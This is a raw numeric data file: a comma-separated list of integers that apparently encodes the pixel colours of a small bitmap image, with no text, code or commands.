0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,58,9493503,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,0,0,58,9493503,16777215,16767888,3801088,0,0,26294,16777215,14389306,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14389306,0,0,14992,14417919,16777215,16777142,6684672,0,0,3838171,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767888,3801088,0,26294,16777179,9474230,16777215,11953664,0,58,9493503,16777142,6684672,0,0,3827382,14417919,16777215,16777215,14399078,3801088,0,0,6731519,16758374,0,0,6731519,16767888,3801146,9483995,16777215,16758374,0,0,3827382,14417919,16777215,16777215,14399078,3801088,0,0,0,0,0,0,0,3827344,14408703,16777215,16777215,16767963,9463296,0,6731519,16777179,9463398,11983871,16777215,16777215,14399078,3801088,0,0,14950,9483995,14417919,16777215,16777215,14399078,3801088,0,0,6731519,16767888,3816080,11983871,16777215,16777215,14399078,3801088,0,0,58,9483995,16777215,16777215,16777215,16777215,16777215,16758374,58,9493503,16777142,6684672,0,6731519,16767888,3816080,11983871,16777215,16777215,14399078,3801088,0,0,58,9483995,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,6731519,16777142,6699664,14417919,16758374,0,102,11993087,16767888,3801088,0,26294,16777215,16767926,9463398,9483995,16777215,16758374,0,0,0,0,0,0,6731519,16777179,14408703,16777215,14408667,11964474,0,26294,16777215,16767926,9463398,9483995,16777215,16758374,0,0,0,0,0,0,26294,16777215,16777179,11974326,11974326,14417883,9452032,0,6731519,16777215,16777215,14399158,11974326,14408703,16777215,14389306,0,0,14992,14417883,11964560,6710928,11983871,16777215,14389306,0,0,6731519,16777215,16777215,14399158,11974326,14408703,16777215,14389306,0,58,9493503,16777179,9463354,3815994,6731519,16777215,11964474,0,58,9493503,16777142,6684672,0,6731519,16777215,16777215,14399158,11974326,14408703,16777215,14389306,0,58,9493503,16777179,9463354,3815994,6731519,16777215,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,58,9493503,16767888,3801146,9493503,16767888,3801088,26294,16777215,14389306,0,58,9493503,16767888,3801088,0,0,6731519,16777179,9452032,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,58,9493503,16767888,3801088,0,0,6731519,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,6731519,16777215,14389306,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,14389306,0,0,14992,14417919,16767888,3801088,14992,14417919,16758374,0,0,14992,14417919,16758374,0,58,9493503,16777142,6684672,0,6731519,16777215,14389306,0,0,14992,14417919,16767888,3801088,14992,14417919,16758374,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14389306,14992,14417919,14389306,0,3838171,16777179,9452032,3838171,16777215,11953664,0,14992,14417919,16767963,11974326,11974326,11974326,11983871,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,0,0,0,14992,14417919,16767963,11974326,11974326,11974326,11983871,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,0,0,0,0,102,11993087,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,14992,14417919,16758374,0,0,14992,14417919,16758374,0,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,14992,14417919,16758374,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,3827382,16777179,9452032,0,26294,16777215,11953722,6731519,16777142,6684672,0,14992,14417919,16777215,14408667,14408667,14408667,14408667,14408667,11953664,0,0,0,0,0,6731519,16777179,9452032,0,0,0,14992,14417919,16777215,14408667,14408667,14408667,14408667,14408667,11953664,0,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,14950,9483995,14417919,16777215,16777215,16777215,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,58,9493503,16777179,9463354,3815994,6731519,16777215,11953664,0,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,58,9493503,16777179,9463354,3815994,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,9484031,16777142,6684672,0,102,11993087,16758416,11993087,16767888,3801088,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,102,11993087,16777179,11964518,3815994,3816038,11993087,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,14950,11983871,16777215,16777215,16767963,11953722,0,0,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,14950,11983871,16777215,16777215,16767963,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408703,16758374,0,0,58,9493503,16767963,14417919,14389306,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,26294,16777215,16758374,0,0,14992,14417919,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,6731519,16767888,3801088,0,0,0,0,0,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,6731519,16767888,3801088,0,0,0,0,0,0,14950,6710842,0,0,14950,6710842,0,0,14950,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0